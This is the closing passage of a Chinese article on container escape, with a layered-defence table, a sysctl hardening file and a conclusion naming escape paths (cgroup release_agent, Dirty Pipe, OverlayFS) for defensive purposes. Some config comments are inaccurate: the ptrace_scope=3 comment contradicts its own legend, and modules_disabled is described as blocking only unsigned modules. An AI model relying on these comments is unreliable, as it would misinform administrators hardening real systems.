   内核层    │ 及时升级内核 / 禁用 user namespace        │
            │ cgroup v2 / 模块签名 / lockdown           │
            ├─────────────────────────────────────────┤
   运行时    │ Falco / Datadog CWS / Elastic Security   │
   检测      │ auditd / eBPF 行为基线告警                │
            ├─────────────────────────────────────────┤
   主机层    │ 内核加固(grsec/KSPP) / 最小化宿主进程     │
            │ EDR / 文件完整性监控                       │
            └─────────────────────────────────────────┘

5. 关键内核参数加固

# /etc/sysctl.d/99-container-hardening.conf

# 禁用 user namespace(阻断 unshare 逃逸路径,按需评估业务影响)
user.max_user_namespaces = 0

# 禁止非签名内核模块加载(阻断 CAP_SYS_MODULE)
kernel.modules_disabled = 1    # 注意:设置后不可逆,需重启恢复

# 限制 ptrace(阻断 CAP_SYS_PTRACE 进程注入)
kernel.yama.ptrace_scope = 3   # 仅允许 ptrace 自身或 root(0=全部/1=受限/2=仅admin/3=禁止)

# 禁止核心转储 helper(缓解 core_pattern,治标)
# fs.suid_dumpable = 0         # SUID 程序不产生 core(默认已是 0)

# 启用内核 lockdown(限制 root 滥用 /dev/mem 等)
# 需内核编译 CONFIG_LOCKDOWN_LSM

结语

容器逃逸的本质,是攻击者在"共享内核"这一前提下,寻找内核中那些不尊重命名空间边界的代码路径。本文梳理的六种技术,从 cgroup release_agent 的权限检查缺陷,到 Dirty Pipe 的页缓存绕过,再到 OverlayFS 的 copy-up 映射遗漏,每一处都是"内核设计时未考虑容器场景"的典型缩影。

值得注意的是,这些技术中真正属于"内核漏洞"(第三层)的只有 Dirty Pipe 与 OverlayFS 两项,其余四项本质上都是"内核合法机制被滥用"(第一层配置 + 第二层设计假设)。这提示我们:

  1. 配置即安全——绝大多数逃逸源于特权容器、危险挂载、过度 capabilities。遵循最小权限原则可消除 90% 的攻击面。
  2. 隔离边界是内核给的,不是天然的——只要内核某条路径不感知 NS,隔离就形同虚设。持续关注 CVE 与内核补丁是必修课。
  3. 纵深防御不可或缺——准入控制、seccomp、AppArmor、运行时检测、内核加固需层层叠加,任何单点都可能被绕过。

容器安全不是"装上就能用"的产品,而是一套贯穿开发、部署、运行、检测全生命周期的工程实践。理解逃逸原理,正是构建这套实践的前提。


参考来源:CVE-2022-0492 / CVE-2022-0847 / CVE-2023-0386 官方公告与补丁、Linux 内核源码、Falco/Elastic/Datadog 官方安全规则库。